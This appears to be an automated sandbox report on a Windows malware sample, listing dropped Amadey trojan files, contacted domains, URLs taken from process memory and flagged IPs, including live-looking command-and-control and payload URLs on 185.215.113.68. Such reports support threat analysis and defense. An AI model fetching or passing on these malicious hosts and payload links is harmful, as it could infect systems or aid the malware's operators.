C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.mozilla.com0	0%	URL Reputation	safe
https://www.internalfb.com/intern/invariant/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
http://185.215.113.68/mine/amer.exeshCore	100%	Avira URL Cloud	malware
http://polymer.github.io/PATENTS.txt	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.php#;	100%	Avira URL Cloud	malware
http://185.215.113.68/theme/index.phpA;?d	100%	Avira URL Cloud	malware
http://polymer.github.io/AUTHORS.txt	0%	Avira URL Cloud	safe
http://detectportal.firefox.comh	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.php%;	100%	Avira URL Cloud	malware
http://go.microsoft.cP	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://csp.withgoogle.com/csp/report-to/youtube-main-app-web-scs-key	0%	Avira URL Cloud	safe
https://ads.stickyadstv.com/firefox-etp	0%	Avira URL Cloud	safe
https://tracking-protection-issues.herokuapp.com/new	0%	Avira URL Cloud	safe
https://bzib.nelreports.net/api/report?cat=bingbusiness	0%	Avira URL Cloud	safe
http://exslt.org/dates-and-times	0%	Avira URL Cloud	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	Avira URL Cloud	safe
https://bugzilla.mo	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.phpy	100%	Avira URL Cloud	phishing
https://tmpfiles.org/dl/3900221/setuppowergrepdemo.exe	0%	Avira URL Cloud	safe
https://www.youtube.comMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.phpt	100%	Avira URL Cloud	malware
http://185.215.113.68/theme/index.phpIU)(A;OICI;FA;;;SY)j-oe	100%	Avira URL Cloud	malware
http://185.215.113.68/theme/index.phpr	100%	Avira URL Cloud	malware
https://sb.scorecardresearch.com/b2?rn=1705534516527&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.phpj	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.phpi	100%	Avira URL Cloud	malware
http://185.215.113.68/theme/index.phph	100%	Avira URL Cloud	malware
http://185.215.113.68/theme/index.phpc	100%	Avira URL Cloud	malware
https://www.youtube.comC:	0%	Avira URL Cloud	safe
http://185.215.113.68/theme/index.phpZ	100%	Avira URL Cloud	malware
https://csp.withgoogle.com/csp/report-to/youtube	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.216.34	true	false	high
chrome.cloudflare-dns.com	104.18.22.202	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	13.225.63.72	true	false	high
i.ytimg.com	142.250.65.214	true	false	high
rr2.sn-q4fl6nz6.googlevideo.com	173.194.57.39	true	false	high
ssl.bingadsedgeextension-prod-eastus.azurewebsites.net	40.71.99.188	true	false	unknown
mitmdetection.services.mozilla.com	13.226.34.9	true	false	high
rr1.sn-q4fl6nlz.googlevideo.com	74.125.1.166	true	false	high
contile.services.mozilla.com	34.117.237.239	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
scontent.xx.fbcdn.net	157.240.241.1	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
ipinfo.io	34.117.186.192	true	false	high
facebook.com	157.240.241.35	true	false	high
www.google.com	142.251.32.100	true	false	high
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	unknown
star-mini.c10r.facebook.com	157.240.241.35	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.65	true	false	high
accounts.google.com	172.253.62.84	true	false	high
dyna.wikimedia.org	208.80.154.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
pki-goog.l.google.com	142.250.80.99	true	false	high
sni1gl.wpc.nucdn.net	152.195.19.97	true	false	unknown
youtube.com	142.250.72.110	true	false	high
youtube-ui.l.google.com	142.251.40.238	true	false	high
tmpfiles.org	104.21.21.16	true	false	unknown
www3.l.google.com	142.251.35.174	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	unknown
play.google.com	142.251.40.206	true	false	high
sb.scorecardresearch.com	18.238.49.99	true	false	unknown
proxyserverecs-1736642167.us-east-1.elb.amazonaws.com	54.205.248.223	true	false	high
clients.l.google.com	142.250.81.238	true	false	high
googlehosted.l.googleusercontent.com	142.250.72.97	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
rr1---sn-q4fl6nlz.googlevideo.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	unknown
shavar.services.mozilla.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
push.services.mozilla.com	unknown	unknown	false	high
rr2---sn-q4fl6nz6.googlevideo.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high
clients1.google.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
static.xx.fbcdn.net	unknown	unknown	false	high
accounts.youtube.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F	false		high
https://www.youtube.com/s/desktop/80338919/jsbin/www-i18n-constants-en_US.vflset/www-i18n-constants.js	false		high
https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en-GB	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534522133&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yC/r/M08arqdo_nN.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2Fh1LVullqknwvfi41Bgz_cGuworpX9-qvX0psxzTFaAjKxJSIbTCzEnPsYVkspxjdHHyF&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S922877882%3A1705534476005670&theme=glif	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yN/l/0,cross/z8iN9p2rYBG.css?_nc_x=Ij3Wp8lg5Kz	false		high
https://www.google.com/favicon.ico	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/login	false		high
https://www.youtube.com/s/desktop/80338919/jsbin/intersection-observer.min.vflset/intersection-observer.min.js	false		high
https://www.google.com/js/th/QaMcj-JulTnv9WX-ZKiswnw1NZ6KstGU-WkCl6294a4.js	false		high
https://sb.scorecardresearch.com/b2?rn=1705534516527&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=	false	Avira URL Cloud: safe	unknown
https://tmpfiles.org/dl/3900221/setuppowergrepdemo.exe	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534523644&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.youtube.com/img/desktop/yt_1200.png	places.sqlite-wal.51.dr	false		high
https://basket.mozilla.org/news/subscribe_sms/	scriptCache-child-new.bin.51.dr	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1#	firefox.exe, 00000031.00000003.2697145156.00000203444BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.4742743871.00000203444BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com/	firefox.exe, 00000033.00000003.2640276526.0000026F4F8BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org	firefox.exe, 00000033.00000003.2901112788.0000026F4AAF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.68/mine/amer.exeshCore	RegAsm.exe, 00000002.00000002.2596470514.000000000157F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://csp.withgoogle.com/csp/report-to/youtube-main-app-web-scs-key	firefox.exe, 00000033.00000003.2994770537.0000026F5DBE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	firefox.exe, 00000033.00000003.2821250814.0000026F4CB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2832343051.0000026F50500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2821020703.0000026F4CBA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000031.00000002.4727131464.0000020338FD5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://easylist.to/)	LICENSE.36.dr	false		high
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000F98000.00000040.00000001.01000000.00000009.sdmp, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000000.2273225465.00000000010BD000.00000080.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000000.2423152091.0000000000C5D000.00000080.00000001.01000000.00000010.sdmp, explorhe.exe, 0000002E.00000002.4708216186.0000000000B38000.00000040.00000001.01000000.00000010.sdmp, PXBvYMcLF9IUsaGl9axr.exe.2.dr, explorhe.exe.15.dr	false		high
http://185.215.113.68/theme/index.php#;	explorhe.exe, 0000002E.00000002.4712363155.00000000014C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers	firefox.exe, 00000031.00000002.4828503772.0000020346300000.00000002.00000001.00040000.00000016.sdmp	false		high
https://ipinfo.io:443/widget/demo/154.16.192.193W	RegAsm.exe, 00000002.00000002.2596470514.0000000001573000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000033.00000003.2675923428.0000026F4C799000.00000004.00000800.00020000.00000000.sdmp, D0F48A0632B6C451791F4257697E861961F06A6F.51.dr	false		high
http://185.215.113.68/theme/index.phpA;?d	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/AUTHORS.txt	firefox.exe, 00000033.00000003.2991330163.0000026F5DABB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000033.00000003.2675923428.0000026F4C71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2820309508.0000026F4CBB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2815640094.0000026F4CBB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2641907380.0000026F4CBC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2674562682.0000026F4CBC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.internalfb.com/intern/invariant/	chromecache_943.22.dr	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000033.00000003.2640984970.0000026F4E9A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2640984970.0000026F4E9CD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/154.16.192.193#	RegAsm.exe, 00000002.00000002.2596470514.0000000001573000.00000004.00000020.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000031.00000002.4753403845.0000020344896000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2632135362.0000026F525DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2632290478.0000026F525C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000033.00000003.2509868422.0000026F4D00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2512730909.0000026F4D051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2508170933.0000026F4E500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2510769501.0000026F4D030000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000033.00000003.2900419944.0000026F4CB66000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	firefox.exe, 00000031.00000002.4828503772.0000020346300000.00000002.00000001.00040000.00000016.sdmp	false	URL Reputation: safe	unknown
https://s.youtube.com	firefox.exe, 00000033.00000003.2993152051.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2995754527.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2993057754.0000026F5DBA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.ytimg.com/an/	firefox.exe, 00000033.00000003.2993152051.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2995754527.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000033.00000003.2509868422.0000026F4D00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2508170933.0000026F4E500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2510769501.0000026F4D030000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000031.00000002.4775596956.00000203450A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000033.00000003.2947953057.0000026F5AD1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000033.00000003.2632135362.0000026F525DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2632290478.0000026F525C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000031.00000002.4747190844.000002034477E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://accounts.google.com/n	3kaNpKWTvXjwLZn_llOJ.exe, 00000010.00000002.2473037584.000000000193F000.00000004.00000020.00020000.00000000.sdmp, 3kaNpKWTvXjwLZn_llOJ.exe, 00000010.00000003.2362295339.000000000193F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1i	scriptCache-child-new.bin.51.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000033.00000003.2642685463.0000026F4BC38000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000031.00000002.4775596956.00000203450A0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	firefox.exe, 00000033.00000003.2991330163.0000026F5DABB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000031.00000002.4780134384.0000020345355000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2698788329.0000020345366000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s.youtube.com/api/stats/qoe?cl=	firefox.exe, 00000033.00000003.2993152051.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2995754527.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.comh	firefox.exe, 00000031.00000002.4780134384.00000203453BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000033.00000003.2692746712.0000026F49D66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.68/theme/index.php%;	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pki.goog/repository/0	2cc80dabc69f58b6_0.36.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	QdX9ITDLyCRBWeb Data.2.dr	false		high
http://go.microsoft.cP	MPGPH131.exe, 00000007.00000002.2125757096.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.com/	scriptCache-child-new.bin.51.dr	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	D0F48A0632B6C451791F4257697E861961F06A6F.51.dr	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000033.00000003.2957224507.0000026F5B267000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mo	firefox.exe, 00000033.00000003.2540660558.0000026F4FE41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2638535851.0000026F4FE41000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	RegAsm.exe, 00000002.00000002.2596470514.000000000152A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2596470514.000000000157F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2596470514.0000000001573000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.68/theme/index.phpIU)(A;OICI;FA;;;SY)j-oe	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4712363155.00000000014C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com/pcs/activeview?xai=	firefox.exe, 00000033.00000003.2993102927.0000026F5DB8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1i#	scriptCache-child-new.bin.51.dr	false		high
http://185.215.113.68/theme/index.phpy	explorhe.exe, 0000002E.00000002.4712363155.000000000149A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://spocs.getpocket.com/	firefox.exe, 00000033.00000003.2675923428.0000026F4C799000.00000004.00000800.00020000.00000000.sdmp, D0F48A0632B6C451791F4257697E861961F06A6F.51.dr	false		high
https://www.youtube.comMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:	firefox.exe, 00000034.00000002.2672529573.000002650EEC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.68/theme/index.phpr	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.68/theme/index.phpt	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4712363155.000000000149A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://s.youtube.com/api/stats/watchtime?cl=	firefox.exe, 00000033.00000003.2993152051.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2995754527.0000026F5DB33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.	places.sqlite-wal.51.dr	false		high
http://fb.me/use-check-prop-typesG	scriptCache-child-new.bin.51.dr	false		high
http://185.215.113.68/theme/index.phpj	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4712363155.00000000014C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000031.00000002.4771651637.0000020344E90000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.68/theme/index.phpi	explorhe.exe, 0000002E.00000003.3962232462.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.founder.com.cn/cn/bThe	firefox.exe, 00000031.00000002.4828503772.0000020346300000.00000002.00000001.00040000.00000016.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.68/theme/index.phph	explorhe.exe, 0000002E.00000002.4711406923.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962232462.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.68/theme/index.phpc	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fb.me/react-polyfillsP	scriptCache-child-new.bin.51.dr	false		high
http://support.google.com/accounts/answer/151657?hl=en-GB	2cc80dabc69f58b6_0.36.dr	false		high
https://fb.me/react-polyfillsO	scriptCache-child-new.bin.51.dr	false		high
http://185.215.113.68/theme/index.phpZ	explorhe.exe, 0000002E.00000003.3960844324.000000000149A000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962135406.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4712363155.00000000014C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.comC:	firefox.exe, 00000026.00000002.2494708399.000002014BF00000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000034.00000002.2671229522.000002650D090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://csp.withgoogle.com/csp/report-to/youtube	firefox.exe, 00000033.00000003.2996055360.0000026F5DA0B000.00000004.00000800.00020000.00000000.sdmp, 70DE259D3055F51A1BEBD035A0E461EC8E9213A5.51.dr, 281D3362FC8DAA6BD8595A1C942DD405542AD365.51.dr, B41E3D0BA051DAFDC3F262CC45C5AE9165BC9508.51.dr, D550D57BCFA88C4195E78095A742FAC7693FC54F.51.dr, 48D71C745420E717A699F4CC6847C17B6C743A51.51.dr, A988D8F5B0BF56AA1942EC62AFDF51C05C82139B.51.dr, 33200725926A095B3A48EB9ABD6821C7F895DF65.51.dr, AF10D6A6EDDDEAF586DD225969745155C8322254.51.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
194.33.191.102	unknown	unknown	20668	AQUA-ASRO	true
157.240.241.35	facebook.com	United States	32934	FACEBOOKUS	false
34.117.237.239	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.81.238	clients.l.google.com	United States	15169	GOOGLEUS	false
104.18.23.202	unknown	United States	13335	CLOUDFLARENETUS	false
109.107.182.3	unknown	Russian Federation	49973	TELEPORT-TV-ASRU	true
104.18.22.202	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
157.240.241.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
13.226.34.13	unknown	United States	16509	AMAZON-02US	false
